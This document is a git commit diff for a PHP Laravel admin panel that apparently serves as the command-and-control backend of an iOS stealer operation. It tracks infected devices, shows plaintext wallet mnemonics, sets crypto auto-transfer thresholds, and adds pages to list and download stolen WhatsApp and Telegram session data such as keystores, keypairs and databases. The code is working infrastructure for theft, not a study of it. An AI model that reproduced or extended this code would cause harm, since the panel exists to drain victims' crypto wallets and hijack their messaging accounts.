feat: tg/ws
This commit is contained in:
@@ -58,6 +58,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
@@ -84,6 +85,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
@@ -97,6 +99,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
@@ -114,6 +117,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
@@ -128,6 +132,9 @@ class AgentUserController extends Controller
|
||||
if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) {
|
||||
$agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']);
|
||||
}
|
||||
if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) {
|
||||
$agent->album_storage_default = (bool) ((int) $data['album_storage_default']);
|
||||
}
|
||||
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
||||
$key = 'auto_transfer_threshold_'.$coin;
|
||||
if (array_key_exists($key, $data)) {
|
||||
|
||||
@@ -100,17 +100,12 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function randomId(Request $request)
|
||||
public function randomId()
|
||||
{
|
||||
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
|
||||
$channelId = $builderType === Channel::BUILDER_NEW
|
||||
? Channel::randomNewChannelId()
|
||||
: Channel::randomChannelId();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => $channelId],
|
||||
'data' => ['channel_id' => Channel::randomNewChannelId()],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -118,18 +113,8 @@ class ChannelController extends Controller
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
|
||||
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
|
||||
$builderType = Channel::BUILDER_OLD;
|
||||
}
|
||||
|
||||
$channelIdRule = $builderType === Channel::BUILDER_NEW
|
||||
? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
|
||||
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => $channelIdRule,
|
||||
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
|
||||
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
@@ -138,15 +123,13 @@ class ChannelController extends Controller
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if ($builderType === Channel::BUILDER_NEW) {
|
||||
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||
if ($normalized === null) {
|
||||
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
|
||||
}
|
||||
$data['channel_id'] = $normalized;
|
||||
if (Channel::query()->where('channel_id', $normalized)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||
if ($normalized === null) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
|
||||
}
|
||||
$data['channel_id'] = $normalized;
|
||||
if (Channel::query()->where('channel_id', $normalized)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
@@ -154,7 +137,7 @@ class ChannelController extends Controller
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = (string) ($data['builder_type'] ?? $builderType);
|
||||
$builderType = Channel::BUILDER_NEW;
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ class DashboardController extends Controller
|
||||
'date_from' => trim((string) $request->query('date_from', '')),
|
||||
'date_to' => trim((string) $request->query('date_to', '')),
|
||||
'date_range' => trim((string) $request->query('date_range', '')),
|
||||
'range' => (string) $request->query('range', '30d'),
|
||||
'range' => (string) $request->query('range', 'today'),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'agent_user_id' => $this->isAgentPortal()
|
||||
? null
|
||||
|
||||
@@ -72,6 +72,9 @@ class DeviceController extends Controller
|
||||
'ip' => $d->ip ?: '',
|
||||
'has_wallet' => (int) $d->has_wallet,
|
||||
'wallet_names' => $d->walletNameList(),
|
||||
'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0,
|
||||
'has_telegram' => $d->hasTelegram() ? 1 : 0,
|
||||
'im_names' => $d->imNameList(),
|
||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
@@ -235,6 +238,7 @@ class DeviceController extends Controller
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
$this->purgeDarkSwordLogs($device);
|
||||
|
||||
@@ -604,7 +608,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
* @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
@@ -613,6 +617,10 @@ class DeviceController extends Controller
|
||||
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||
$hasWalletInt = (int) $hasWallet;
|
||||
}
|
||||
$hasIm = strtolower(trim((string) $request->query('has_im', '')));
|
||||
if (! in_array($hasIm, ['yes', 'none', 'whatsapp', 'telegram'], true)) {
|
||||
$hasIm = '';
|
||||
}
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
@@ -624,12 +632,13 @@ class DeviceController extends Controller
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'has_wallet' => $hasWalletInt,
|
||||
'has_im' => $hasIm,
|
||||
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -663,6 +672,17 @@ class DeviceController extends Controller
|
||||
if ($filters['has_wallet'] !== null) {
|
||||
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||
}
|
||||
if ($filters['has_im'] === 'yes') {
|
||||
$q->where(function (Builder $inner) {
|
||||
$inner->where('devices.has_whatsapp', true)->orWhere('devices.has_telegram', true);
|
||||
});
|
||||
} elseif ($filters['has_im'] === 'none') {
|
||||
$q->where('devices.has_whatsapp', false)->where('devices.has_telegram', false);
|
||||
} elseif ($filters['has_im'] === 'whatsapp') {
|
||||
$q->where('devices.has_whatsapp', true);
|
||||
} elseif ($filters['has_im'] === 'telegram') {
|
||||
$q->where('devices.has_telegram', true);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
@@ -97,7 +97,7 @@ class MnemonicController extends Controller
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if (! $admin->hasGoogleBound()) {
|
||||
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
|
||||
return response()->json(['code' => 1, 'msg' => '请先在「系统 → 谷歌验证」绑定,查看明文必须验证']);
|
||||
}
|
||||
|
||||
$data = $request->validate([
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PluginSessionController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function whatsapp()
|
||||
{
|
||||
return $this->page(PluginSession::KIND_WHATSAPP);
|
||||
}
|
||||
|
||||
public function telegram()
|
||||
{
|
||||
return $this->page(PluginSession::KIND_TELEGRAM);
|
||||
}
|
||||
|
||||
public function whatsappData(Request $request)
|
||||
{
|
||||
return $this->data($request, PluginSession::KIND_WHATSAPP);
|
||||
}
|
||||
|
||||
public function telegramData(Request $request)
|
||||
{
|
||||
return $this->data($request, PluginSession::KIND_TELEGRAM);
|
||||
}
|
||||
|
||||
public function payload(PluginSession $pluginSession)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'id' => $pluginSession->id,
|
||||
'kind' => $pluginSession->kind,
|
||||
'payload_json' => json_encode(
|
||||
$pluginSession->displayPayload(),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||
),
|
||||
'download_url' => route($this->portal().'.sessions.download', $pluginSession, false),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function download(PluginSession $pluginSession)
|
||||
{
|
||||
$this->authorizeSession($pluginSession);
|
||||
|
||||
$name = $pluginSession->downloadFilename();
|
||||
$path = $pluginSession->payloadPath();
|
||||
if ($path !== null && Storage::disk('local')->exists($path)) {
|
||||
return Storage::disk('local')->download($path, $name);
|
||||
}
|
||||
|
||||
$json = json_encode(
|
||||
$pluginSession->fullPayload(),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
|
||||
);
|
||||
|
||||
return response()->streamDownload(static function () use ($json) {
|
||||
echo $json === false ? '{}' : $json;
|
||||
}, $name, ['Content-Type' => 'application/json; charset=UTF-8']);
|
||||
}
|
||||
|
||||
private function page(string $kind)
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.sessions.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'kind' => $kind,
|
||||
'title' => (int) $kind === PluginSession::KIND_WHATSAPP ? 'WS 参数' : 'TG 参数',
|
||||
]);
|
||||
}
|
||||
|
||||
private function data(Request $request, string $kind)
|
||||
{
|
||||
$q = $this->baseQuery($request, $kind);
|
||||
|
||||
$sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('plugin_sessions.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
/** @var PluginSession $row */
|
||||
$summary = $row->listSummary();
|
||||
|
||||
return array_merge($summary, [
|
||||
'id' => $row->id,
|
||||
'kind' => $row->kind,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'payload_url' => route($portal.'.sessions.payload', $row, false),
|
||||
'download_url' => route($portal.'.sessions.download', $row, false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
]);
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request, string $kind): Builder
|
||||
{
|
||||
$q = PluginSession::query()
|
||||
->join('devices', 'devices.id', '=', 'plugin_sessions.device_id')
|
||||
->where('plugin_sessions.kind', $kind)
|
||||
->select([
|
||||
'plugin_sessions.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$account = trim((string) $request->query('account_id', ''));
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($account !== '') {
|
||||
$q->where(function (Builder $inner) use ($account) {
|
||||
$inner->where('plugin_sessions.account_id', 'like', '%'.$account.'%')
|
||||
->orWhere('plugin_sessions.phone', 'like', '%'.$account.'%');
|
||||
});
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter(
|
||||
$q,
|
||||
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||
);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
private function authorizeSession(PluginSession $session): void
|
||||
{
|
||||
$device = $session->device;
|
||||
abort_unless($device !== null, 404);
|
||||
if ($agent = $this->agent()) {
|
||||
$ids = AgentScope::channelIdsFor($agent);
|
||||
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,209 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
/** @var list<string> */
|
||||
private const KINDS = ['c2', 'xxbb'];
|
||||
|
||||
private const PER_PAGE = 40;
|
||||
|
||||
private const MAX_PER_PAGE = 100;
|
||||
|
||||
/** Display cap so a single keystore/census blob cannot blow the HTML layout. */
|
||||
private const MAX_ENTRY_CHARS = 16384;
|
||||
|
||||
private const CHUNK_BYTES = 262144;
|
||||
|
||||
/** Bound the backward-scan carry if a record has no separator. */
|
||||
private const MAX_CARRY_BYTES = 524288;
|
||||
|
||||
public function index(Request $request)
|
||||
{
|
||||
$kind = $this->kind($request);
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
$groups = [];
|
||||
foreach (self::KINDS as $k) {
|
||||
$groups[$k] = $this->listFiles($k);
|
||||
}
|
||||
|
||||
return view('admin.logs.index', compact('groups', 'kind', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $kind, string $file)
|
||||
{
|
||||
$kind = in_array($kind, self::KINDS, true) ? $kind : 'c2';
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/'.$kind.'/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$perPage = (int) $request->query('per_page', self::PER_PAGE);
|
||||
$perPage = min(self::MAX_PER_PAGE, max(10, $perPage));
|
||||
|
||||
$read = $this->tailEntries($full, $path, $device, $page, $perPage);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'kind' => $kind,
|
||||
'file' => $safe,
|
||||
'entries' => $read['entries'],
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
'page' => $read['page'],
|
||||
'perPage' => $read['perPage'],
|
||||
'hasOlder' => $read['hasOlder'],
|
||||
'hasNewer' => $read['hasNewer'],
|
||||
'fileSize' => $read['fileSize'],
|
||||
]);
|
||||
}
|
||||
|
||||
private function kind(Request $request): string
|
||||
{
|
||||
$kind = (string) $request->query('kind', 'c2');
|
||||
|
||||
return in_array($kind, self::KINDS, true) ? $kind : 'c2';
|
||||
}
|
||||
|
||||
/**
|
||||
* Newest-first page of records, scanning backward so a multi-MB day file
|
||||
* never lands in memory as one string.
|
||||
*
|
||||
* @return array{
|
||||
* entries: list<string>,
|
||||
* page: int,
|
||||
* perPage: int,
|
||||
* hasOlder: bool,
|
||||
* hasNewer: bool,
|
||||
* fileSize: int
|
||||
* }
|
||||
*/
|
||||
private function tailEntries(string $full, string $path, string $device, int $page, int $perPage): array
|
||||
{
|
||||
$fileSize = (int) filesize($full);
|
||||
$skip = ($page - 1) * $perPage;
|
||||
$want = $skip + $perPage + 1;
|
||||
$matched = [];
|
||||
|
||||
$fh = fopen($full, 'rb');
|
||||
if ($fh === false) {
|
||||
return [
|
||||
'entries' => [],
|
||||
'page' => $page,
|
||||
'perPage' => $perPage,
|
||||
'hasOlder' => false,
|
||||
'hasNewer' => $page > 1,
|
||||
'fileSize' => $fileSize,
|
||||
];
|
||||
}
|
||||
|
||||
try {
|
||||
$pos = $fileSize;
|
||||
$carry = '';
|
||||
while ($pos > 0 && count($matched) < $want) {
|
||||
$read = (int) min(self::CHUNK_BYTES, $pos);
|
||||
$pos -= $read;
|
||||
if (fseek($fh, $pos) !== 0) {
|
||||
break;
|
||||
}
|
||||
$chunk = fread($fh, $read);
|
||||
if (! is_string($chunk) || $chunk === '') {
|
||||
break;
|
||||
}
|
||||
$data = $chunk.$carry;
|
||||
if (strlen($data) > self::MAX_CARRY_BYTES) {
|
||||
$data = substr($data, -self::MAX_CARRY_BYTES);
|
||||
}
|
||||
$parts = preg_split("/\r\n\r\n/", $data) ?: [$data];
|
||||
$carry = $parts[0];
|
||||
for ($i = count($parts) - 1; $i >= 1; $i--) {
|
||||
if ($this->collectEntry($matched, $parts[$i], $path, $device, $want)) {
|
||||
break 2;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (count($matched) < $want && $pos === 0 && $carry !== '') {
|
||||
$this->collectEntry($matched, $carry, $path, $device, $want);
|
||||
}
|
||||
} finally {
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
$hasOlder = count($matched) > $skip + $perPage;
|
||||
$entries = array_slice($matched, $skip, $perPage);
|
||||
|
||||
return [
|
||||
'entries' => $entries,
|
||||
'page' => $page,
|
||||
'perPage' => $perPage,
|
||||
'hasOlder' => $hasOlder,
|
||||
'hasNewer' => $page > 1,
|
||||
'fileSize' => $fileSize,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $matched
|
||||
*/
|
||||
private function collectEntry(array &$matched, string $chunk, string $path, string $device, int $want): bool
|
||||
{
|
||||
$entry = trim($chunk);
|
||||
if ($entry === '') {
|
||||
return false;
|
||||
}
|
||||
if ($path !== '' && ! str_contains($entry, $path)) {
|
||||
return false;
|
||||
}
|
||||
if ($device !== '' && ! str_contains($entry, $device)) {
|
||||
return false;
|
||||
}
|
||||
$matched[] = $this->truncateEntry($entry);
|
||||
|
||||
return count($matched) >= $want;
|
||||
}
|
||||
|
||||
private function truncateEntry(string $entry): string
|
||||
{
|
||||
if (strlen($entry) <= self::MAX_ENTRY_CHARS) {
|
||||
return $entry;
|
||||
}
|
||||
|
||||
return substr($entry, 0, self::MAX_ENTRY_CHARS)."\n… (truncated)";
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{name: string, size: int, mtime: string}>
|
||||
*/
|
||||
private function listFiles(string $kind): array
|
||||
{
|
||||
$dir = public_path('log/'.$kind);
|
||||
$files = [];
|
||||
if (! is_dir($dir)) {
|
||||
return $files;
|
||||
}
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
|
||||
return $files;
|
||||
}
|
||||
}
|
||||
@@ -130,6 +130,7 @@ class WalletAddressController extends Controller
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$address = trim((string) $request->query('address', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$hasMnemonic = $request->query('has_mnemonic');
|
||||
$hasBalance = $request->query('has_balance');
|
||||
@@ -139,6 +140,9 @@ class WalletAddressController extends Controller
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($address !== '') {
|
||||
$q->where('wallet_addresses.address', 'like', '%'.$address.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_addresses.source', $source);
|
||||
}
|
||||
|
||||
@@ -20,12 +20,15 @@ class Device extends Model
|
||||
protected $fillable = [
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
'has_whatsapp', 'has_telegram',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'chain' => self::CHAIN_CORUNA,
|
||||
'album_storage' => false,
|
||||
'has_whatsapp' => false,
|
||||
'has_telegram' => false,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -36,6 +39,8 @@ class Device extends Model
|
||||
'has_wallet' => 'integer',
|
||||
'chain' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
'has_whatsapp' => 'boolean',
|
||||
'has_telegram' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -62,6 +67,40 @@ class Device extends Model
|
||||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||
}
|
||||
|
||||
public function hasWhatsApp(): bool
|
||||
{
|
||||
return (bool) $this->has_whatsapp;
|
||||
}
|
||||
|
||||
public function hasTelegram(): bool
|
||||
{
|
||||
return (bool) $this->has_telegram;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function imNameList(): array
|
||||
{
|
||||
$names = [];
|
||||
if ($this->hasWhatsApp()) {
|
||||
$names[] = 'WhatsApp';
|
||||
}
|
||||
if ($this->hasTelegram()) {
|
||||
$names[] = 'Telegram';
|
||||
}
|
||||
|
||||
return $names;
|
||||
}
|
||||
|
||||
public function refreshImFlags(): void
|
||||
{
|
||||
$kinds = $this->pluginSessions()->distinct()->pluck('kind')->map(fn ($k) => (int) $k)->all();
|
||||
$this->has_whatsapp = in_array(PluginSession::KIND_WHATSAPP, $kinds, true);
|
||||
$this->has_telegram = in_array(PluginSession::KIND_TELEGRAM, $kinds, true);
|
||||
$this->save();
|
||||
}
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? false);
|
||||
|
||||
@@ -4,12 +4,74 @@ namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class PluginSession extends Model
|
||||
{
|
||||
public const KIND_TELEGRAM = 'telegram';
|
||||
public const KIND_TELEGRAM = 1;
|
||||
|
||||
public const KIND_WHATSAPP = 'whatsapp';
|
||||
public const KIND_WHATSAPP = 2;
|
||||
|
||||
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
|
||||
{
|
||||
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
|
||||
$safe = $accountId !== null && $accountId !== ''
|
||||
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
|
||||
: 'unknown';
|
||||
|
||||
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
|
||||
}
|
||||
|
||||
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
|
||||
{
|
||||
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $blob
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
|
||||
{
|
||||
if ((int) $kind === self::KIND_TELEGRAM) {
|
||||
return [
|
||||
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
|
||||
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
|
||||
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
|
||||
'payload_path' => $path,
|
||||
'payload_bytes' => $bytes,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
|
||||
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
||||
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
|
||||
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
|
||||
'payload_path' => $path,
|
||||
'payload_bytes' => $bytes,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $blob
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
|
||||
{
|
||||
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
|
||||
}
|
||||
|
||||
private static function scalarOrNull(mixed $value): ?string
|
||||
{
|
||||
if (is_string($value) || is_int($value) || is_float($value)) {
|
||||
$value = trim((string) $value);
|
||||
|
||||
return $value !== '' ? $value : null;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
protected $fillable = [
|
||||
